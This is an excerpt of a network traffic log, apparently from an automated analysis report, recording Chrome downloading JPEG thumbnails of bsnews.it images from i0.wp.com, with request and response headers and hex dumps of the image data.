2024-03-28 08:51:09 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	591	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 7755 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:23 GMT Expires: Sat, 28 Mar 2026 05:35:23 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "1e0e186b0ac9449a" X-Bytes-Saved: 165 Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	778	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 02 00 01 03 04 05 06 07 08 ff c4 00 19 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 c1 4a 4c d8 c8 24 00 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"JL$
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: d5 5a 78 e4 80 28 e4 57 12 b0 53 8f 53 0d 5f 37 4f 49 d7 83 67 6d 70 6d 1c fd 98 bf ed 19 3b ea 2c e3 2d 86 68 f5 07 1b 6a 8c 16 9e 7e ae a3 33 b8 d1 21 89 94 6d 51 b0 5a cd 7a b6 69 6a 34 07 14 4a 85 1e 5e 6c d9 33 4b 4c 33 a7 3a a6 92 aa 5c b5 97 d3 b7 7a 3b 32 e3 df cb e8 db a7 35 e7 d9 9e c3 c9 f4 f9 fc 77 b4 e2 fa 65 e6 11 cd cd 67 ae d3 8b b3 62 84 c0 5d af 62 af 4e 76 27 ad 62 d6 06 59 a8 4a 38 13 78 89 2c 27 d4 82 8d aa 62 8a 48 e0 d2 4b e6 2c 9b 32 7a 36 b3 ea ac f0 5c 96 d5 79 2a a0 df ad 68 e8 b5 39 0d 0c fb 37 e8 e8 b4 f4 d5 e8 70 2e de 1d 2f 35 60 ef 34 d9 d9 33 a6 f7 43 ca 5c d6 6e 68 e7 6a 4e 12 d6 b1 07 4e 45 35 3b c0 cd 15 2c 6b 4c 68 d3 2d d9 69 ac 70 28 f7 9a b5 e7 8a 50 8a 48 e5 91 32 3f ff c4 00 2b 10 00 01 03 03 04 01 03 03 05 01 00 Data Ascii: Zx(WSS_7OIgmpm;,-hj~3!mQZzij4J^l3KL3:\z;25wegb]bNv'bYJ8x,'bHK,2z6\y*h97p./5`43C\nhjNNE5;,kLh-ip(PH2?+
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 78 58 4e 1c 15 bc 86 fa 9e a9 8d 9b 45 9c 9f e0 17 ff c4 00 23 11 00 01 03 03 05 00 03 01 00 00 00 00 00 00 00 00 01 00 02 11 03 10 12 20 21 30 31 32 04 40 41 50 ff da 00 08 01 03 01 01 3f 01 e4 a7 e9 13 62 37 4f 6c 23 60 a3 96 87 a5 13 61 ba f9 1d 7d 1a 3e af 96 2a a3 f2 37 8e 60 63 74 d7 82 9f 54 0e 93 9c 4f 77 16 8d 53 c0 dd 41 ca 7f 8e 38 06 e9 cd 2d 30 53 69 4d 3c b5 1e 56 09 72 c3 21 0e 4c 60 68 85 55 98 1b 53 6e 48 a1 b0 9e 7a 35 87 46 d5 db 92 63 5e c4 d6 8f 43 65 51 b9 6e 9e 22 c1 76 b1 44 fe 0d 3f ff c4 00 1f 11 00 02 02 02 02 03 01 00 00 00 00 00 00 00 00 00 00 01 10 11 02 20 21 30 12 31 41 40 ff da 00 08 01 02 01 01 3f 01 ec cb d0 ae 13 e0 4c 50 cb ed c8 73 84 b2 bb 72 1c 7b 31 c6 a6 f9 2b bb 2c 45 80 95 4b 13 2f 5a 2b a3 28 5a 3c 4f 1e b5 fb Data Ascii: xXNE# !012@AP?b7Ol#`a}>*7`ctTOwSA8-0SiM<Vr!L`hUSnHz5Fc^CeQn"vD? !01A@?LPsr{1+,EK/Z+(Z<O
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 73 27 85 77 c8 0b 65 e4 b0 f9 85 12 f3 88 c7 a9 e4 ac 11 fd cb f9 26 65 38 5b 26 04 2e a3 8e f0 ee 50 3f 11 2a ff 00 5f 89 40 00 93 dd bc 7f 11 a0 a6 c6 98 71 c9 d5 b0 b0 70 c7 32 d5 0e cc af 08 5b 32 d9 77 2a b3 12 a3 89 36 60 a6 63 c6 76 be 56 e7 8b b7 2c f7 bf 7f 1b 3f cc 13 ce c9 88 97 4c 4b dc 4a e1 8d 71 dc 7f ba 82 cb 1e ef df e2 61 8f 59 c9 ff 00 52 96 46 9e 87 92 30 59 95 19 46 5c 23 b4 d2 67 84 db 33 08 10 c4 67 00 27 84 09 66 c1 64 a3 1f 23 44 ae 45 c8 a5 c6 06 00 05 ac 2d 4c 2b b7 f1 03 59 8e d9 98 11 c8 ce b3 32 ae 97 bb fc b2 80 00 8c 5d 9c 3c f9 7d 43 01 c7 e1 4d ed f9 22 ec e6 43 4c 17 06 30 8f 2a 13 15 43 16 89 98 ad 42 5c 32 f0 45 4c de 06 3e 65 92 a9 15 90 4a 4d d4 06 3f e8 9e 72 72 cf d9 c2 f6 2c 98 e9 8c e3 30 59 ec bd fd 4a aa b6 de Data Ascii: s'we&e8[&.P?_@qp2[2w6`cvV,?LKJqaYRF0YF\#g3g'fd#DE-L+Y2]<}CM"CL0*CB\2EL>eJM?rr,0YJ
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 00 00 00 00 01 00 11 10 21 20 31 41 30 61 51 ff da 00 08 01 03 01 01 3f 10 e6 f1 e8 8c 41 5d 4b f4 97 2f 2e df 60 36 7f 91 1b 12 82 0b 45 a1 1e b0 17 07 e7 5a c3 08 ea 6f d9 41 6c 5f ca 5d e0 01 f4 ac 3b a4 3f b9 a0 da 23 6a 38 d9 89 8e a5 92 e5 cb c1 c9 2f 34 bd c5 3c 8b c3 56 fe 17 24 73 55 c5 c5 9c de 15 9b 8e 18 27 6f 30 aa 3b 94 02 98 0d ec c1 3b 9e 40 b6 88 8e 15 1d 15 0e 75 c5 d4 74 9e bd 8f cf 4c d2 9d 40 82 d0 ee a5 0d 41 02 6a 1d 43 01 71 6d 87 17 20 06 dc bf 65 00 20 95 42 41 a0 58 86 ac 53 f9 2a 06 40 7a 83 5d f5 03 f0 86 0c 7f ff c4 00 1e 11 01 00 02 02 03 01 01 01 00 00 00 00 00 00 00 00 01 00 11 10 21 20 31 41 30 61 51 ff da 00 08 01 02 01 01 3f 10 e6 72 28 6a 33 d9 3f 87 53 b6 3a ca fc 0e 2e 88 aa 16 c5 a2 a7 ee 1d e1 51 b8 ef f3 bd e3 ac Data Ascii: ! 1A0aQ?A]K/.`6EZoAl_];?#j8/4<V$sU'o0;;@utL@AjCqm e BAXS*@z]! 1A0aQ?r(j3?S:.Q
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: f3 e3 dc 85 f5 c0 50 06 80 84 68 6a 1b 15 73 29 3d 81 5e f7 f4 c1 19 1a 1b 2b fb a9 7e 60 48 b8 05 25 f3 96 98 1a 58 67 88 36 80 2e f6 fb 45 b9 ce d3 a7 1f 0f dc d1 02 5c 12 5c a0 2e 97 09 fc 7c c7 5b fb 4d 9c af 0f f7 0e ec 30 8b 1c 43 35 5c b5 8b 34 0c 72 a2 18 2e 13 06 e6 3b 57 3c 89 e7 61 f9 96 d9 71 2f 7b 62 cf 78 e5 81 89 50 f3 0c fb 80 39 c4 ac 8e f5 0e 57 80 b5 f6 9b e4 2a 32 fb 7c bf e0 8f 09 6d 35 51 04 65 7c ce bc da d4 c8 23 09 76 9c 05 75 ae 42 a5 eb 43 56 2d 8b 96 20 1a 82 37 a0 7f df 30 c0 d1 91 e0 87 49 98 c1 9b 37 ae bf 63 f7 ed 0c 0e 08 4e f4 20 8d 94 fa 10 ce 0b 7a 8a 8b 29 a9 92 a6 40 61 18 3e df 91 49 ef ed 34 1d 9e 1d 92 ed 30 06 a0 11 e8 56 b5 10 e9 01 c2 50 e2 1d ea 68 54 3a d4 f6 44 26 a6 98 e2 36 de f3 98 a0 4b 89 81 0d 01 04 69 Data Ascii: Phjs)=^+~`H%Xg6.E\\.\|[M0C5\4r.;W<aq/{bxP9W*2\|m5Qe\|#vuBCV- 70I7cN z)@a>I40VPhT:D&6Ki
2024-03-28 08:51:09 UTC	132	IN	Data Raw: 86 79 86 03 4c 05 ed 39 6f 88 27 22 9a 94 82 70 27 9e e0 93 50 8e 55 cb 2a a3 73 01 0c 27 b4 a8 7c a1 6d bf 70 30 11 02 2b ac 69 fa 88 0d 8c a9 0f 5e 65 1a 24 d2 bb 95 2b 5d 17 4c 4d af 11 7b f8 99 80 ad 5d f3 14 cd 96 c0 9f 29 14 bc b3 28 ce ed 79 6f f0 4c 06 3e 42 69 fd 7d c4 fa 7d a6 df 6c 0e 51 da 8c c1 01 6a c5 13 04 bd cd fb 78 85 41 9f 68 ae e7 94 78 0e 62 4a 23 16 59 cd 9f b2 7f ff d9 Data Ascii: yL9o'"p'PU*s'\|mp0+i^e$+]LM{])(yoL>Bi}}lQjxAhxbJ#Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49876	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	591	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 8315 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:23 GMT Expires: Sat, 28 Mar 2026 05:35:23 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "6742a1840369e860" X-Bytes-Saved: 155 Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	778	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 02 00 01 03 04 05 06 07 ff c4 00 1b 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f3 99 00 fd b6 52 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"R
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 20 d2 92 5c e4 90 ed ca 11 14 52 8d 96 03 02 20 24 1f a6 f9 8f a2 8f 1e 99 36 ea 73 a8 0a c5 68 bc 72 85 63 8e 60 43 2a 65 eb 10 eb ec 79 e5 6e 3b 54 0a 78 ed 51 24 d6 c5 99 0d b1 71 11 b5 12 89 49 6e c8 12 78 6e 9a 74 82 46 55 47 0f 39 20 ed cb 1b 93 4e 15 da 66 00 9f a1 ec d3 f2 b2 d1 a0 07 25 7e 9c 28 ca a2 dd 56 22 4d 8a c1 38 98 02 ed 1b c0 82 51 65 cd 1c 39 2a 9e d1 e1 b4 25 d4 17 29 d3 53 6a 62 1a ec 13 62 6a 31 36 6a 24 90 1c 8c 4d 31 0b a6 78 bb 58 d3 86 4b a7 d7 99 88 e2 1b d9 1d 00 d2 d9 3b c9 d2 af 2d 8a 6f a9 65 dd 99 95 ae 5d 91 c0 51 ed f9 99 55 96 17 9a 75 e7 5e 94 01 c5 c1 84 84 62 e4 42 51 24 de c5 dc aa d9 c4 87 2e 84 e0 6d 0b 38 84 49 90 74 eb 58 ba 59 31 83 75 c3 9e c6 ee 63 47 9a d2 f5 38 22 bc c5 fd 0a 40 f3 bd 9e a4 43 ad 01 71 d0 Data Ascii: \R $6shrc`Ceyn;TxQ$qInxntFUG9 Nf%~(V"M8Qe9%)Sjbbj16j$M1xXK;-oe]QUu^bBQ$.m8ItXY1ucG8"@Cq
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 47 ca da 7f ff c4 00 27 11 00 02 02 01 03 04 01 04 03 00 00 00 00 00 00 00 00 01 02 11 03 12 20 21 10 13 14 31 04 05 30 32 51 22 41 61 ff da 00 08 01 03 01 01 3f 01 d8 a3 5e cb 2c 8c 79 23 8e d5 9a 19 2c 74 89 2a 7b b4 b3 b7 2f d0 e2 d6 d5 ec 9b 17 a2 46 2e 5d 10 74 8b 1c ac cb f9 6c 9b 31 cb 9e 9f 0e 1a 70 c5 1f 5b 92 b8 c7 6a 24 ac 43 21 fc 79 20 d4 91 a4 7c 19 13 bb d9 91 f2 7c 7e 64 45 5b a2 1c 2a 3e ad 93 57 c8 7f e6 e5 2a 38 66 92 88 4a 85 c9 27 5c 74 78 ff 00 43 55 d2 49 d9 f1 b8 bb 30 35 dc 44 73 a3 3c fb 99 1c b7 e3 5f df 54 6b ae 07 b1 fb d9 7d 7c 63 c6 3c 66 78 f2 1e 19 21 2a 5d 51 27 b6 5e fe d3 69 12 96 a7 b1 6e 58 35 f2 78 a7 8c cf 1a 47 8f 23 b3 23 b5 2e b7 44 a5 ab ed a9 b4 77 59 09 ea db 7d 32 7e 3b 12 22 85 14 76 e2 c9 45 2d d8 bd ed ae Data Ascii: G' !102Q"Aa?^,y#,t{/F.]tl1p[j$C!y \|\|~dE[>W8fJ'\txCUI05Ds<_Tk}\|c<fx!]Q'^inX5xG##.DwY}2~;"vE-
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 19 83 8d 2e a9 95 7d bc cc f4 b6 1e d4 41 33 54 d7 70 7b bc e3 5d 36 fc 68 7f ff c4 00 28 10 01 00 02 02 02 02 02 02 02 02 03 01 00 00 00 00 01 00 11 21 31 10 41 51 61 71 81 20 91 30 b1 a1 f1 c1 d1 e1 f0 ff da 00 08 01 01 00 01 3f 21 21 f8 1d c3 81 b2 b5 3e 12 8e 88 2d af a4 c5 64 f7 16 16 e5 39 04 97 9f f4 b1 b5 d1 2a 15 65 d4 32 9a 3d d4 35 ab 97 9c 45 eb 48 be 85 06 a2 a1 84 75 08 c3 81 18 47 7c 3b e1 df 0e e3 1d ca 82 09 5c 33 70 83 30 c4 3c d1 13 58 b6 c5 74 c3 8a 98 59 0d 11 0c 0a f7 15 a0 a6 d8 57 7d 94 92 ca 1a 63 e4 88 88 e1 7f 70 0c 2a a2 bb 66 c5 81 fd 09 41 e2 dc ec 34 f1 d7 0f e0 65 c4 f6 4a 7c c9 a2 0f b4 47 73 a8 39 ee 7b d3 cb 4d 4d a1 c0 84 38 26 47 a3 32 c0 d3 e5 2f 72 f3 0f 74 bd cf de 44 18 84 0f 72 ca 29 f1 2f 59 b9 f5 2a 23 a9 f9 84 Data Ascii: .}A3Tp{]6h(!1AQaq 0?!!>-d9e2=5EHuG\|;\3p0<XtYW}cpfA4eJ\|Gs9{MM8&G2/rtDr)/Y*#
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 88 cb f3 19 dc 78 d4 8f 30 86 62 a1 a3 f5 c7 a9 b7 ae 0e 41 99 f4 4b 3a 4b e2 f9 5b 41 ad 59 17 6c 0b 89 bf b5 5e 26 54 0f aa 87 78 f9 31 35 1f 34 9d 6b 31 b8 ce e5 0c 23 33 86 5a 1d b3 ee 5e 65 73 4e 4c aa af 41 71 96 ce 83 c4 bc cb ef 55 2d f3 3d 25 a4 6e 52 7e 0a d9 b1 f8 0e 0f d7 8d c1 97 07 3c 57 33 ff da 00 0c 03 01 00 02 00 03 00 00 00 10 b7 bf 42 dd a1 c8 54 b7 e4 bc f1 5c 3e b3 bf 0c 8e c6 7d 2c 59 5b f6 df 4e 56 7d c2 52 e1 6c 16 81 a0 2b 48 29 94 ba e3 6c 38 c7 d7 fb 85 00 dc 2f 2a 01 90 f3 4e 6a 54 d7 e7 3a 9c 5e 57 c0 6a b4 5f 16 89 ed 6d 64 0d f8 d2 dd b4 4f 11 30 04 ea dd 8a 19 9d d5 44 eb 89 86 76 16 f3 2f 0f 5b eb c2 79 67 7a 41 66 9b 50 6a 30 ae dd ec b3 cc e4 0f a6 82 0a a2 9a 67 cd 5c 46 ab 4c 4f ee 0d cf fa 2a 4d 27 e7 7d 3f 57 26 82 Data Ascii: x0bAK:K[AYl^&Tx154k1#3Z^esNLAqU-=%nR~<W3BT\>},Y[NV}Rl+H)l8/NjT:^Wj_mdO0Dv/[ygzAfPj0g\FLOM'}?W&
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 15 90 ee cc 74 21 2f a3 4c 4d af 77 05 b0 c3 98 60 a8 3d 04 2d a9 83 24 b9 18 d3 79 8c 54 9b 58 60 8a ad 4d ac c3 00 29 aa 3a 45 38 90 5b d6 2d 22 51 c4 2b 42 29 b2 15 84 2d 9c 53 56 37 e6 56 31 4b 4e 80 7f 67 4c 0a 55 71 7e 4a 9d ea 2f a6 2c 0c 6b cc 41 60 37 ef 00 a0 56 59 16 c3 42 ff 00 1f af 47 fe 16 30 58 80 5a d5 c2 e4 80 e9 84 86 35 cc cb d6 14 7b 7a 24 c6 29 89 71 5e 62 2f 7e 8d 7d 3a 7a 48 41 b6 d1 0a aa f2 a6 16 5a 07 7c 13 03 82 d3 a4 04 08 4b 53 92 61 df 72 6d 94 04 e9 6e 15 9a 05 39 51 9b 55 86 9e 22 a9 76 3e 88 04 58 0d 0d fe e6 44 a9 ca be 65 38 21 c9 cc e9 84 3d 8d 72 84 6c 3e e2 b2 ab 7d 5e 59 7f f1 cf a1 2a 0e 94 86 60 d1 3a 90 ec 9d 0b 18 0d 34 23 71 5f 5a eb f7 f4 36 75 26 47 69 a4 db d0 61 c4 10 7a 9b 5d 6c 94 3a 58 0c b1 d8 0d 43 0a Data Ascii: t!/LMw`=-$yTX`M):E8[-"Q+B)-SV7V1KNgLUq~J/,kA`7VYBG0XZ5{z$)q^b/~}:zHAZ\|KSarmn9QU"v>XDe8!=rl>}^Y*`:4#q_Z6u&Giaz]l:XC
2024-03-28 08:51:09 UTC	692	IN	Data Raw: f0 35 22 cd a7 e6 15 45 73 b0 01 6d 77 75 13 28 75 3f b9 c2 1b e1 1d 6b 1f ed 46 01 c5 b4 18 81 7a b0 04 03 21 36 dd eb ea 14 c7 1d a6 d7 95 91 67 78 26 81 7c 66 5d 31 19 b2 bd e3 4c ed 9f 13 31 9b f1 2a 08 95 b8 99 cc bf 58 87 30 83 38 0c 17 d9 85 cd dc f9 e6 3c cd 48 0c de 22 e6 2e 53 58 2e 61 cb 37 8b 3b 45 a8 e9 c6 91 f7 bc 7e a3 87 78 2b a9 2d 7c 4c 65 51 cb 1c 86 8e db 63 90 b0 bc be 1c 7b d4 5c 6d 1a 21 7d 75 f4 d4 67 f0 e0 8e 8b c1 07 b9 c6 76 bb 4e ad b7 f8 8e 3a 57 38 af e2 6f 15 aa db 17 c4 14 92 9b 45 2c f0 90 d8 86 00 06 ef 67 b4 6b e0 c0 1b 76 b2 e1 01 6f 69 e2 f2 6b de 10 65 7e 21 c6 2d 7b c0 34 58 32 51 34 84 a5 82 0c 63 53 88 8d 22 14 b9 b6 30 36 cb 11 d5 46 a6 f0 83 e6 62 e2 68 45 57 da 38 27 33 08 31 fc 1f 74 a6 03 c9 e8 6f 72 f3 18 05 Data Ascii: 5"Esmwu(u?kFz!6gx&\|f]1L1*X08<H".SX.a7;E~x+-\|LeQc{\m!}ugvN:W8oE,gkvoike~!-{4X2Q4cS"06FbhEW8'31tor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49875	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_1109.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	592	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 11691 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:23 GMT Expires: Sat, 28 Mar 2026 05:35:23 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_1109.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "c23451ae3eb75e33" X-Bytes-Saved: 545 Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	777	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 02 01 03 04 05 06 00 07 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 02 04 00 01 03 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 cb b8 2f 7a 8e 13 21 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"/z!
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 5c 2e db 22 3b 6d 32 db 2f 35 aa cc 8a 89 e4 e9 b4 b7 52 d6 3b e4 3a b8 f8 f5 e7 74 37 b8 08 e1 a0 4d de 79 ab c0 7b 29 38 d8 ca 36 db ec 48 ef f1 9d e6 39 c5 9e 42 5a cf 90 f8 a0 a7 0d 12 f2 19 66 4e 09 51 a0 38 92 9b 19 11 c2 c1 05 79 ee 21 81 d5 94 e8 33 e4 f4 3c d5 e5 35 6b b4 f3 9d df 9e ca a7 2e 93 0d 96 ac 6a 25 bc ec 59 76 b5 b3 60 2c 03 31 6d a2 01 42 1b 31 4d 9a e1 b0 8d 2e 09 b4 9b e5 23 a3 76 99 5a a4 81 e9 73 59 33 22 a8 e1 2c 25 c7 59 09 20 19 2d 11 bb 19 44 e4 d3 b8 c2 2d 0b 66 d2 fa be 60 77 0a 5c 39 a2 5b 58 33 a2 4d 74 1e 6d e8 fe 5d 60 8e c6 48 7d 1c 9a ac a6 bf 1d e3 07 c9 3b 7c cc da 27 96 01 74 b3 d6 20 4e 10 ba f0 9e 8b ed 03 a6 f0 da 0c ae 79 08 e4 e8 42 8f d2 56 ae 2a 4b 59 4c 74 a4 2a 84 93 e0 e6 6c 81 0a 0d 03 2e a0 13 c6 77 10 Data Ascii: \.";m2/5R;:t7My{)86H9BZfNQ8y!3<5k.j%Yv`,1mB1M.#vZsY3",%Y -D-f`w\9[X3Mtm]`H};\|'t NyBVKYLtl.w
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: b0 04 dd 14 d3 ce f4 27 ef 6b 7f db 9b d3 df a1 58 72 ab ff 00 c9 76 2c 7b ee d7 78 08 6f c5 dc 19 6b 2b 71 65 65 65 65 65 ed b7 b5 70 b8 4e b2 f6 af 6a f6 af 6a e1 70 b8 52 1e 6c 88 0b f7 bd 18 26 aa 71 94 a0 16 2a 50 44 4f 39 3f f6 9c 8a 6f 81 64 01 45 70 b8 ec e1 59 62 b0 dc 27 10 07 63 7c bb 62 55 d5 d5 d5 fd c3 6d 26 4e 9c 8d 99 99 31 b1 e4 7c e7 66 a1 e5 39 37 97 9f 61 0e 41 e0 20 72 58 f1 c2 77 80 ae 55 fb 3d 3c ab d3 ca bd 3c cb d3 4c bd 34 cb d3 4c bd 34 c8 52 cc bd 3c c1 7a 59 97 a5 95 4a 31 75 91 63 96 2e 42 27 5d b0 c8 54 14 0f 72 8a 18 e2 8c b5 85 3d ee 6a c2 77 a8 e4 7c 42 7d 36 9e a0 3f 49 a8 8c bb 4b ab 11 18 1e a2 81 cd 92 56 66 9b 00 5d 26 a7 33 14 d7 71 b5 bb a6 68 b6 21 62 16 21 62 16 21 62 16 21 59 59 3a cd 68 e7 71 ca a0 a2 8f 4e a5 Data Ascii: 'kXrv,{xok+qeeeeepNjjpRl&q*PDO9?odEpYb'c\|bUm&N1\|f97aA rXwU=<<L4L4R<zYJ1uc.B']Tr=jw\|B}6?IKVf]&3qh!b!b!b!YY:hqN
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 03 d1 6e f7 6f 7d 14 fd 0e 58 9e 5d 03 ec a8 b4 c1 48 72 26 e5 57 69 ff 00 10 73 69 b1 5f 2c 92 47 65 33 ee a0 20 1b 15 c9 fd 2b 2b 2b 7a 25 75 9b ea 26 c8 1d 9b 53 30 04 0e fc 29 6a a4 71 20 35 72 c8 07 d4 10 7b cb 80 23 6e 47 2b 20 d5 8a c1 60 b8 bf b5 33 bb b6 ee 40 df 6b 6f 0b ac 6c b8 af f8 46 04 ea 5f 62 b8 5c b8 5c b3 6f ba e5 6a e4 6a e4 6f ba e4 6f ba 7c a0 0e 91 be d9 00 9e 6e ae 9b 20 1e 50 70 28 0e d3 87 7d 6c 24 4e 7d d6 65 64 b2 f5 3b 69 2e 9c 0d d1 d8 85 1b 7b f4 3d 5c ac 8a c8 ac 8a ff c4 00 37 10 00 01 03 00 07 05 06 06 01 04 03 00 00 00 00 00 01 00 02 11 03 10 12 21 22 31 41 20 32 51 61 71 13 30 33 40 91 a1 23 42 52 62 72 81 f0 04 73 92 c1 b1 d1 e1 ff da 00 08 01 01 00 06 3f 02 1e 4f 78 35 a3 32 ac 51 dc d0 84 42 65 aa 20 44 66 9d 49 75 Data Ascii: no}X]Hr&Wisi_,Ge3 +++z%u&S0)jq 5r{#nG+ `3@kolF_b\\ojjoo\|n Pp(}l$N}ed;i.{=\7!"1A 2Qaq03@#BRbrs?Ox52QBe DfIu
